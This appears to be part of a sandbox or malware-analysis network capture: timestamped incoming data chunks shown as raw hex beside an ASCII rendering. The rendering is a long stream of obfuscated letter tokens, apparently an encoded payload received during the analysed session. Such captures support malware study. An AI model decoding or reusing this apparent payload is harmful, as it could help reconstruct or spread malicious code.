2021-10-29 15:55:26 UTC	356	IN	Data Raw: 20 71 71 4a 20 71 71 71 20 44 4a 20 4f 20 4f 20 71 4f 20 71 71 71 20 71 4a 20 4f 20 4f 20 71 4f 20 71 71 71 20 70 70 20 4f 20 4f 20 71 4f 20 71 71 6d 20 4d 6d 20 4f 20 6d 20 71 71 4a 20 70 4a 20 4f 20 4f 20 4f 20 4f 20 6d 4f 20 44 70 20 4f 20 4f 20 71 4f 20 57 58 20 70 4d 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 4a 20 44 20 4f 20 71 71 6d 20 71 70 58 20 4f 20 6d 20 71 71 4a 20 71 71 71 20 44 4a 20 4f 20 4f 20 71 4f 20 71 71 71 20 71 4a 20 4f 20 4f 20 71 4f 20 71 71 71 20 44 6d 20 4f 20 4f 20 71 4f 20 71 71 6d 20 71 57 4f 20 4f 20 6d 20 71 71 4a 20 71 71 71 20 70 6d 20 4f 20 4f 20 71 4f 20 57 58 20 58 57 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 4a 20 44 20 4f 20 71 71 6d 20 44 58 20 4f 20 6d 20 71 71 4a 20 71 71 71 20 44 4a 20 4f 20 4f 20 71 4f 20 71 71 71 20 71 4a Data Ascii: qqJ qqq DJ O O qO qqq qJ O O qO qqq pp O O qO qqm Mm O m qqJ pJ O O O O mO Dp O O qO WX pM O O O JWm qJ D O qqm qpX O m qqJ qqq DJ O O qO qqq qJ O O qO qqq Dm O O qO qqm qWO O m qqJ qqq pm O O qO WX XW O O O JWm qJ D O qqm DX O m qqJ qqq DJ O O qO qqq qJ
2021-10-29 15:55:26 UTC	372	IN	Data Raw: 57 6d 20 71 6d 20 4f 20 4f 20 57 44 20 4f 20 4f 20 4f 20 4f 20 4a 4a 71 20 71 4d 4d 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 4a 20 4a 20 4f 20 70 4a 20 71 20 4f 20 4f 20 4f 20 58 58 20 70 4a 20 4f 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 4a 20 4f 20 44 4d 20 71 6d 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 71 4f 45 20 4a 57 6d 20 4a 57 57 20 4a 57 57 20 71 4a 4a 20 4a 57 6d 20 4a 57 57 20 4a 57 57 20 71 45 58 20 4a 57 6d 20 4a 57 57 20 4a 57 57 20 71 4d 44 20 4a 57 6d 20 4a 57 57 20 4a 57 57 20 4a 71 6d 20 4a 57 6d 20 4a 57 57 20 4a 57 57 20 4a 6d 57 20 4a 57 6d 20 4a 57 57 20 4a 57 57 20 71 70 20 4a 57 57 20 4a 57 57 20 4a 57 57 20 70 44 20 4a 57 57 20 4a 57 57 20 4a 57 57 20 44 4f 20 4a 57 57 20 4a 57 57 20 4a 57 57 20 58 70 20 4a 57 57 20 4a 57 57 20 4a Data Ascii: Wm qm O O WD O O O O JJq qMM O O O JWm qJ J O pJ q O O O XX pJ O O O O JWm qm J O DM qm O O O O O O O qOE JWm JWW JWW qJJ JWm JWW JWW qEX JWm JWW JWW qMD JWm JWW JWW Jqm JWm JWW JWW JmW JWm JWW JWW qp JWW JWW JWW pD JWW JWW JWW DO JWW JWW JWW Xp JWW JWW J
2021-10-29 15:55:26 UTC	388	IN	Data Raw: 57 6d 20 4d 20 4a 20 4f 20 58 4f 20 4a 57 6d 20 71 4a 20 70 20 4f 20 71 71 71 20 71 4d 4d 20 4f 20 4f 20 71 4f 20 57 45 20 44 70 20 4f 20 4f 20 4f 20 71 71 6d 20 6d 58 20 71 44 20 6d 20 71 71 4a 20 70 4a 20 4a 20 4f 20 4f 20 4f 20 71 6d 71 20 4a 20 4f 20 4f 20 71 20 70 45 20 70 4a 20 4f 20 4f 20 4f 20 4f 20 4a 57 6d 20 4d 20 71 20 4f 20 71 71 71 20 71 57 45 20 4f 20 4f 20 71 4f 20 6d 4f 20 4a 4f 4f 20 4f 20 4f 20 71 4f 20 71 44 4a 20 70 45 20 70 4a 20 71 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 4a 20 70 20 4f 20 71 44 4a 20 6d 4f 20 4a 4f 71 20 4f 20 4f 20 71 4f 20 71 71 57 20 4a 4f 4a 20 4f 20 4f 20 71 4f 20 6d 4f 20 71 45 71 20 4f 20 4f 20 71 4f 20 71 4a 4a 20 4a 57 6d 20 71 4a 20 71 20 4f 20 71 71 71 20 71 45 4a 20 4f 20 4f 20 71 4f 20 57 58 20 57 44 20 4f Data Ascii: Wm M J O XO JWm qJ p O qqq qMM O O qO WE Dp O O O qqm mX qD m qqJ pJ J O O O qmq J O O q pE pJ O O O O JWm M q O qqq qWE O O qO mO JOO O O qO qDJ pE pJ q O O O JWm qJ p O qDJ mO JOq O O qO qqW JOJ O O qO mO qEq O O qO qJJ JWm qJ q O qqq qEJ O O qO WX WD O
2021-10-29 15:55:26 UTC	404	IN	Data Raw: 4f 20 4f 20 4f 20 4a 20 71 71 20 45 20 70 4a 20 70 6d 20 4f 20 4f 20 71 4d 4a 20 4a 57 6d 20 71 20 71 4a 20 58 20 6d 6d 20 71 4a 20 4f 20 6d 4f 20 71 4f 71 20 4f 20 4f 20 44 20 71 71 57 20 4a 70 71 20 4f 20 4f 20 71 4f 20 71 4a 4a 20 45 20 70 4a 20 70 70 20 4f 20 4f 20 71 4d 4a 20 4a 57 6d 20 71 20 71 70 20 4d 20 6d 6d 20 71 4a 20 4f 20 6d 4f 20 71 4f 4a 20 4f 20 4f 20 44 20 71 71 57 20 4a 4a 4d 20 4f 20 4f 20 71 4f 20 71 4a 4a 20 45 20 70 4a 20 6d 57 20 71 20 4f 20 71 4d 4a 20 4a 57 6d 20 71 20 71 4d 20 6d 20 71 45 20 6d 20 6d 6d 20 71 4a 20 4f 20 6d 4f 20 71 4f 70 20 4f 20 4f 20 44 20 71 71 57 20 4a 4a 4d 20 4f 20 4f 20 71 4f 20 71 4a 4a 20 45 20 70 4a 20 4a 6d 20 4f 20 4f 20 71 4d 4a 20 4a 57 6d 20 71 20 71 4d 20 57 20 71 45 20 57 20 6d 6d 20 71 4a 20 Data Ascii: O O O J qq E pJ pm O O qMJ JWm q qJ X mm qJ O mO qOq O O D qqW Jpq O O qO qJJ E pJ pp O O qMJ JWm q qp M mm qJ O mO qOJ O O D qqW JJM O O qO qJJ E pJ mW q O qMJ JWm q qM m qE m mm qJ O mO qOp O O D qqW JJM O O qO qJJ E pJ Jm O O qMJ JWm q qM W qE W mm qJ
2021-10-29 15:55:26 UTC	420	IN	Data Raw: 57 20 71 57 45 20 70 45 20 70 4a 20 4a 45 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 4a 45 20 4f 20 4f 20 4f 20 70 71 20 57 44 20 71 57 45 20 70 45 20 70 71 20 4a 45 20 70 71 20 70 4a 20 71 57 45 20 70 45 20 70 4a 20 4a 44 20 4f 20 4f 20 4f 20 70 71 20 57 4f 20 71 57 45 20 70 45 20 70 4a 20 4a 44 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4a 20 71 57 45 20 70 45 20 70 71 20 4a 44 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 4a 57 20 4f 20 4f 20 4f 20 70 71 20 4d 4d 20 71 57 45 20 70 45 20 70 4a 20 4a 57 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 71 20 4a 57 20 70 71 20 71 4f 70 20 71 57 45 20 70 45 20 70 4a 20 4a 6d 20 4f 20 4f 20 4f 20 70 71 20 57 44 20 71 57 45 20 70 45 20 70 4a 20 4a 6d 20 4f 20 4f 20 Data Ascii: W qWE pE pJ JE O O O pq WE qWE pE pJ JE O O O pq WD qWE pE pq JE pq pJ qWE pE pJ JD O O O pq WO qWE pE pJ JD O O O pq qOJ qWE pE pq JD pq qOq qWE pE pJ JW O O O pq MM qWE pE pJ JW O O O pq qOq qWE pE pq JW pq qOp qWE pE pJ Jm O O O pq WD qWE pE pJ Jm O O
2021-10-29 15:55:26 UTC	436	IN	Data Raw: 57 45 20 70 45 20 70 4a 20 71 4f 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 71 4f 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70 4a 20 71 4f 20 4f 20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70 71 20 71 4f 20 70 71 20 71 71 4f 20 71 57 45 20 70 45 20 70 4a 20 4d 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 45 20 70 4a 20 4d 20 4f 20 4f 20 4f 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 70 4a 20 4d 20 4f 20 4f 20 4f 20 70 71 20 6d 58 20 71 57 45 20 70 45 20 70 4a 20 4d 20 4f 20 4f 20 4f 20 70 71 20 6d 58 20 71 57 45 20 70 45 20 70 71 20 4d 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 58 20 4f 20 4f 20 4f 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 70 4a 20 58 20 4f 20 4f 20 4f 20 70 71 Data Ascii: WE pE pJ qO O O O pq WE qWE pE pJ qO O O O pq qOO qWE pE pJ qO O O O pq qOO qWE pE pq qO pq qqO qWE pE pJ M O O O pq Wm qWE pE pJ M O O O pq ME qWE pE pJ M O O O pq mX qWE pE pJ M O O O pq mX qWE pE pq M pq qOq qWE pE pJ X O O O pq ME qWE pE pJ X O O O pq
2021-10-29 15:55:26 UTC	452	IN	Data Raw: 20 6d 44 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 70 4a 20 6d 44 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 6d 44 20 4f 20 4f 20 4f 20 70 71 20 57 71 20 71 57 45 20 70 45 20 70 71 20 6d 44 20 70 71 20 70 4a 20 71 57 45 20 70 45 20 70 4a 20 6d 57 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 6d 57 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 6d 57 20 4f 20 4f 20 4f 20 70 71 20 57 45 20 71 57 45 20 70 45 20 70 4a 20 6d 57 20 4f 20 4f 20 4f 20 70 71 20 57 70 20 71 57 45 20 70 45 20 70 71 20 6d 57 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 70 4a 20 6d 6d 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 70 4a 20 6d 6d 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 Data Ascii: mD O O O pq WJ qWE pE pJ mD O O O pq WE qWE pE pJ mD O O O pq Wq qWE pE pq mD pq pJ qWE pE pJ mW O O O pq WE qWE pE pJ mW O O O pq qOq qWE pE pJ mW O O O pq WE qWE pE pJ mW O O O pq Wp qWE pE pq mW pq ME qWE pE pJ mm O O O pq WJ qWE pE pJ mm O O O pq Wm
2021-10-29 15:55:26 UTC	468	IN	Data Raw: 20 6d 4f 20 45 4a 20 4f 20 4f 20 44 20 71 44 57 20 71 57 58 20 4f 20 4f 20 71 20 71 71 20 71 6d 20 4d 20 44 20 70 71 20 4d 20 71 57 6d 20 71 44 57 20 71 71 20 4f 20 4f 20 4a 20 71 4a 4d 20 71 71 20 4f 20 4f 20 4a 20 71 6d 20 71 4f 20 44 20 70 71 20 71 4f 20 71 57 6d 20 71 44 57 20 71 4a 20 4f 20 4f 20 4a 20 71 4a 4d 20 71 4a 20 4f 20 4f 20 4a 20 45 20 71 4a 20 6d 70 20 4f 20 58 20 6d 4a 20 4f 20 4f 20 71 4d 20 6d 58 20 6d 20 4f 20 4a 57 4a 20 71 20 4f 20 4f 20 70 20 4f 20 4f 20 71 45 20 70 71 20 71 4a 20 71 6d 71 20 71 70 44 20 4f 20 4f 20 71 20 70 45 20 70 4a 20 71 71 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 45 20 70 4a 20 71 71 20 4f 20 4f 20 4f 20 70 71 20 4d 58 20 71 57 45 20 70 45 20 70 4a 20 71 71 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 Data Ascii: mO EJ O O D qDW qWX O O q qq qm M D pq M qWm qDW qq O O J qJM qq O O J qm qO D pq qO qWm qDW qJ O O J qJM qJ O O J E qJ mp O X mJ O O qM mX m O JWJ q O O p O O qE pq qJ qmq qpD O O q pE pJ qq O O O pq WJ qWE pE pJ qq O O O pq MX qWE pE pJ qq O O O pq Wm
2021-10-29 15:55:26 UTC	484	IN	Data Raw: 4a 70 44 20 70 58 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 44 57 20 70 4d 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4d 44 20 4a 57 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 45 57 20 71 4d 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 45 20 71 4f 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 4f 6d 20 6d 57 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 4d 4d 20 4a 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 70 6d 20 71 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 6d 58 20 71 70 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 70 57 20 71 4f 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 58 20 71 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 45 57 20 70 4d 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4d 58 20 44 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 45 4f 20 71 6d Data Ascii: JpD pX qWW q XD qJX qDW pM qWW q XD qJX MD JW qWW q XD qJX qEW qM qWW q XD qJX JE qO qWW q XD qJX qOm mW qWW q XD qJX qMM J qWW q XD qJX pm q qWW q XD qJX JmX qp qWW q XD qJX JpW qO qWW q XD qJX X q qWW q XD qJX qEW pM qWW q XD qJX MX D qWW q XD qJX EO qm
2021-10-29 15:55:26 UTC	500	IN	Data Raw: 6d 20 71 57 20 4a 44 20 70 58 20 71 44 20 71 44 71 20 6d 20 44 4a 20 44 20 71 70 4d 20 71 6d 20 71 44 4d 20 6d 20 4a 70 6d 20 4a 45 20 71 58 44 20 4f 20 71 45 20 71 20 58 70 20 70 71 20 58 4a 20 71 44 20 71 58 57 20 6d 20 71 70 4d 20 4a 45 20 70 44 20 71 6d 20 70 70 20 71 20 71 70 71 20 71 44 20 6d 4a 20 71 71 20 71 70 45 20 70 20 71 71 44 20 70 58 20 71 4a 4d 20 71 70 20 71 6d 57 20 6d 20 57 57 20 4f 20 45 4f 20 58 20 71 6d 57 20 6d 20 71 71 58 20 4f 20 71 71 70 20 71 44 20 71 6d 57 20 6d 20 71 57 4a 20 71 44 20 71 71 58 20 71 44 20 70 70 20 71 20 71 6d 57 20 70 6d 20 71 4a 70 20 71 44 20 71 70 45 20 4a 20 4a 6d 45 20 6d 4f 20 71 70 71 20 71 44 20 4a 4f 71 20 6d 20 4a 70 6d 20 4a 45 20 71 58 44 20 4f 20 4a 4f 4d 20 6d 20 4a 70 6d 20 4a 45 20 71 58 44 20 Data Ascii: m qW JD pX qD qDq m DJ D qpM qm qDM m Jpm JE qXD O qE q Xp pq XJ qD qXW m qpM JE pD qm pp q qpq qD mJ qq qpE p qqD pX qJM qp qmW m WW O EO X qmW m qqX O qqp qD qmW m qWJ qD qqX qD pp q qmW pm qJp qD qpE J JmE mO qpq qD JOq m Jpm JE qXD O JOM m Jpm JE qXD
2021-10-29 15:55:26 UTC	516	IN	Data Raw: 20 4d 45 20 71 71 4f 20 4d 45 20 71 4f 70 20 71 4f 71 20 71 4f 4d 20 71 4f 71 20 71 71 4f 20 71 71 44 20 58 70 20 4d 4d 20 71 71 71 20 71 71 4a 20 71 4f 71 20 4f 20 71 4f 70 20 71 4f 71 20 71 71 44 20 4d 57 20 45 70 20 71 71 57 20 45 71 20 71 4f 71 20 71 71 4f 20 71 4f 71 20 71 71 6d 20 71 4f 57 20 4d 4d 20 58 6d 20 71 4a 71 20 71 71 4a 20 71 4f 71 20 4f 20 71 4f 70 20 71 4f 71 20 71 71 44 20 4d 57 20 45 70 20 71 71 57 20 58 44 20 4d 45 20 71 4f 58 20 71 71 45 20 71 4f 71 20 58 6d 20 71 4a 71 20 71 71 4a 20 71 4f 71 20 4f 20 71 4f 70 20 71 4f 71 20 71 71 44 20 4d 57 20 58 57 20 71 71 4f 20 71 4f 4f 20 71 4f 71 20 71 71 6d 20 71 4f 58 20 71 4a 71 20 71 4f 57 20 71 71 4f 20 71 4f 70 20 58 6d 20 71 4a 71 20 71 71 4a 20 71 4f 71 20 4f 20 45 71 20 71 4f 71 20 Data Ascii: ME qqO ME qOp qOq qOM qOq qqO qqD Xp MM qqq qqJ qOq O qOp qOq qqD MW Ep qqW Eq qOq qqO qOq qqm qOW MM Xm qJq qqJ qOq O qOp qOq qqD MW Ep qqW XD ME qOX qqE qOq Xm qJq qqJ qOq O qOp qOq qqD MW XW qqO qOO qOq qqm qOX qJq qOW qqO qOp Xm qJq qqJ qOq O Eq qOq
2021-10-29 15:55:26 UTC	532	IN	Data Raw: 4a 20 71 4f 71 20 58 4a 20 71 4f 71 20 71 71 57 20 71 71 71 20 71 4f 58 20 71 71 58 20 71 4f 71 20 71 71 6d 20 4f 20 58 45 20 4d 45 20 71 4f 58 20 71 4f 45 20 71 71 71 20 71 71 58 20 71 4f 71 20 71 71 6d 20 4f 20 58 6d 20 71 71 71 20 45 44 20 71 71 71 20 71 71 4d 20 71 4f 71 20 71 71 6d 20 4f 20 4d 58 20 71 4f 71 20 71 4f 58 20 71 4f 58 20 71 4f 4a 20 71 4f 58 20 71 71 71 20 71 71 4d 20 71 4f 71 20 71 71 6d 20 4f 20 44 58 20 4d 45 20 71 71 44 20 4d 45 20 44 45 20 71 71 71 20 71 71 4f 20 71 71 44 20 71 71 6d 20 4d 45 20 4d 4d 20 71 71 44 20 45 6d 20 71 71 57 20 71 71 71 20 71 71 4f 20 58 70 20 71 4f 71 20 71 71 6d 20 71 4f 57 20 4d 45 20 71 4f 58 20 71 4f 57 20 71 4a 4a 20 71 4f 71 20 71 71 6d 20 4f 20 58 70 20 71 71 44 20 71 4f 71 20 71 71 6d 20 71 4f 57 Data Ascii: J qOq XJ qOq qqW qqq qOX qqX qOq qqm O XE ME qOX qOE qqq qqX qOq qqm O Xm qqq ED qqq qqM qOq qqm O MX qOq qOX qOX qOJ qOX qqq qqM qOq qqm O DX ME qqD ME DE qqq qqO qqD qqm ME MM qqD Em qqW qqq qqO Xp qOq qqm qOW ME qOX qOW qJJ qOq qqm O Xp qqD qOq qqm qOW
2021-10-29 15:55:26 UTC	548	IN	Data Raw: 71 71 6d 20 4d 45 20 71 71 4a 20 71 4f 6d 20 71 4a 71 20 4f 20 58 70 20 71 4f 6d 20 71 71 44 20 71 4f 57 20 4d 4d 20 71 4f 45 20 71 4a 71 20 4f 20 58 70 20 71 4f 71 20 71 4f 4d 20 4d 58 20 71 4f 58 20 4d 45 20 4d 58 20 71 4f 58 20 71 4a 71 20 4f 20 58 6d 20 71 71 6d 20 71 4f 71 20 4d 45 20 71 71 57 20 71 71 71 20 71 71 4f 20 4d 45 20 4d 58 20 71 4f 58 20 71 4a 71 20 4f 20 71 4f 70 20 71 4f 71 20 71 71 44 20 4d 57 20 44 57 20 71 71 57 20 71 71 57 20 71 4f 71 20 71 4f 4d 20 4d 58 20 71 4f 58 20 71 4a 71 20 4f 20 58 4f 20 71 71 6d 20 71 4f 71 20 71 71 4a 20 4d 45 20 71 71 6d 20 71 4f 71 20 71 4f 4f 20 71 4f 58 20 71 4a 71 20 4f 20 44 58 20 71 4f 57 20 71 71 57 20 71 4f 57 20 71 71 4f 20 71 71 44 20 71 4f 71 20 71 71 6d 20 71 4f 71 20 71 71 57 20 71 71 44 20 Data Ascii: qqm ME qqJ qOm qJq O Xp qOm qqD qOW MM qOE qJq O Xp qOq qOM MX qOX ME MX qOX qJq O Xm qqm qOq ME qqW qqq qqO ME MX qOX qJq O qOp qOq qqD MW DW qqW qqW qOq qOM MX qOX qJq O XO qqm qOq qqJ ME qqm qOq qOO qOX qJq O DX qOW qqW qOW qqO qqD qOq qqm qOq qqW qqD
2021-10-29 15:55:26 UTC	564	IN	Data Raw: 44 58 20 4f 20 71 71 6d 20 4f 20 71 4a 71 20 4f 20 57 4a 20 4f 20 6d 4d 20 4f 20 6d 4d 20 4f 20 57 6d 20 4f 20 45 4d 20 4f 20 71 4f 44 20 4f 20 57 71 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 58 20 4f 20 6d 4d 20 4f 20 57 70 20 4f 20 4d 58 20 4f 20 71 4a 71 20 4f 20 4d 4d 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 58 20 4f 20 58 58 20 4f 20 71 4f 57 20 4f 20 6d 45 20 4f 20 71 4f 6d 20 4f 20 71 71 71 20 4f 20 57 6d 20 4f 20 45 45 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 45 70 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4f 70 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 57 45 20 4f 20 71 71 57 20 4f 20 Data Ascii: DX O qqm O qJq O WJ O mM O mM O Wm O EM O qOD O Wq O Xq O Xq O DW O DW O XX O mM O Wp O MX O qJq O MM O Ep O DM O DW O EO O EX O XX O qOW O mE O qOm O qqq O Wm O EE O XJ O DW O DW O Ep O XO O Ep O mE O mp O qOp O EJ O Xq O qOp O DW O DW O EE O WE O qqW O
2021-10-29 15:55:26 UTC	580	IN	Data Raw: 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 58 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 44 20 4f 20 4d 45 20 4f 20 44 44 20 4f 20 71 4f 4a 20 4f 20 58 71 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 57 4f 20 4f 20 45 44 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 71 4f 44 20 4f 20 71 71 6d 20 4f 20 44 45 20 4f 20 58 4f 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 71 71 70 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71 71 58 20 4f 20 71 71 4d 20 4f 20 58 58 20 4f 20 57 4a 20 4f 20 71 71 58 20 4f 20 45 71 20 4f 20 58 58 20 4f 20 71 71 57 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 Data Ascii: DD O DW O DW O Ep O XX O DW O qOO O DD O ME O DD O qOJ O Xq O qOp O DX O DW O Xq O DW O DW O qOO O DW O WO O ED O qOO O Xq O qOD O qqm O DE O XO O WD O XD O qqp O EE O DD O DW O DW O Ep O qqX O qqM O XX O WJ O qqX O Eq O XX O qqW O qqO O DE O DD O DW O D
2021-10-29 15:55:26 UTC	596	IN	Data Raw: 20 6d 45 20 4f 20 45 4f 20 4f 20 4d 45 20 4f 20 58 6d 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 4f 6d 20 4f 20 4d 4d 20 4f 20 71 4f 57 20 4f 20 57 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 71 20 4f 20 57 6d 20 4f 20 71 71 4d 20 4f 20 45 4f 20 4f 20 58 58 20 4f 20 71 4f 44 20 4f 20 58 4d 20 4f 20 58 58 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 57 20 4f 20 45 71 20 4f 20 71 4f 6d 20 4f 20 6d 58 20 4f 20 71 4a 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 44 20 4f 20 58 4d 20 4f 20 58 58 20 4f 20 45 70 20 4f 20 71 71 45 20 4f 20 58 4f 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 4d 45 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 Data Ascii: mE O EO O ME O Xm O DW O Xq O DW O DE O EX O qOm O MM O qOW O WJ O mE O mE O WE O Xq O Wm O qqM O EO O XX O qOD O XM O XX O qqM O mE O XO O mE O mE O XW O Eq O qOm O mX O qJq O XW O DW O DW O qOD O XM O XX O Ep O qqE O XO O WW O mE O ME O XO O WE O mE O
2021-10-29 15:55:26 UTC	612	IN	Data Raw: 20 71 4f 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 4f 6d 20 4f 20 71 4f 4a 20 4f 20 45 44 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 71 71 70 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 71 71 45 20 4f 20 71 71 71 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 44 4d 20 4f 20 44 58 20 4f 20 45 4f 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 71 4f 4f 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 4d 20 4f 20 45 58 20 4f 20 71 4f 6d 20 4f 20 71 4f 4a 20 4f 20 44 Data Ascii: qOp O DE O DW O DW O DE O EX O qOm O qOJ O ED O WE O mE O mE O WE O qqp O DW O EO O DX O qqq O qqE O qqq O Ep O DW O DW O Ep O WO O EO O WD O XO O Wq O mE O mE O WJ O XO O DM O DX O EO O DX O qqq O qOO O DD O qqW O DW O DW O EO O qOM O EX O qOm O qOJ O D
2021-10-29 15:55:26 UTC	628	IN	Data Raw: 20 4f 20 45 70 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 44 20 4f 20 58 58 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 45 58 20 4f 20 58 6d 20 4f 20 71 4f 4a 20 4f 20 58 4a 20 4f 20 58 4a 20 4f 20 58 57 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 6d 4d 20 4f 20 58 4f 20 4f 20 58 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 44 45 20 4f 20 45 44 20 4f 20 58 71 20 4f 20 71 4a 4f 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 71 44 20 4f 20 71 4f 4f 20 4f 20 58 6d 20 4f 20 57 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 71 20 4f 20 57 57 20 4f 20 71 4f 6d 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 44 4d 20 4f 20 44 58 20 4f 20 45 70 20 4f 20 58 58 20 4f Data Ascii: O Ep O qOD O DW O DW O DE O ED O XX O Xq O qOW O EX O Xm O qOJ O XJ O XJ O XW O Ep O WO O EO O mM O XO O XX O mE O mE O mM O DE O ED O Xq O qJO O DE O EX O qqD O qOO O Xm O WE O mE O mE O mE O qqq O WW O qOm O MM O DW O DW O Ep O XO O DM O DX O Ep O XX O
2021-10-29 15:55:26 UTC	644	IN	Data Raw: 4f 20 45 44 20 4f 20 71 71 4d 20 4f 20 6d 70 20 4f 20 71 4f 44 20 4f 20 71 4f 71 20 4f 20 57 70 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 58 20 4f 20 71 71 58 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 45 20 4f 20 71 4f 44 20 4f 20 58 4d 20 4f 20 45 45 20 4f 20 57 4f 20 4f 20 58 58 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 58 4d 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 57 6d 20 4f 20 45 45 20 4f 20 58 6d 20 4f 20 71 71 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 45 20 4f 20 71 4f 44 20 4f 20 58 4d 20 4f 20 45 45 20 4f 20 57 4f 20 Data Ascii: O ED O qqM O mp O qOD O qOq O Wp O mE O mE O mE O qqX O qqX O WD O DW O DW O DW O DD O XE O qOD O XM O EE O WO O XX O Xq O DW O DW O XW O Eq O qOp O XM O DD O DW O DW O DW O XD O XM O qqX O DX O Wm O EE O Xm O 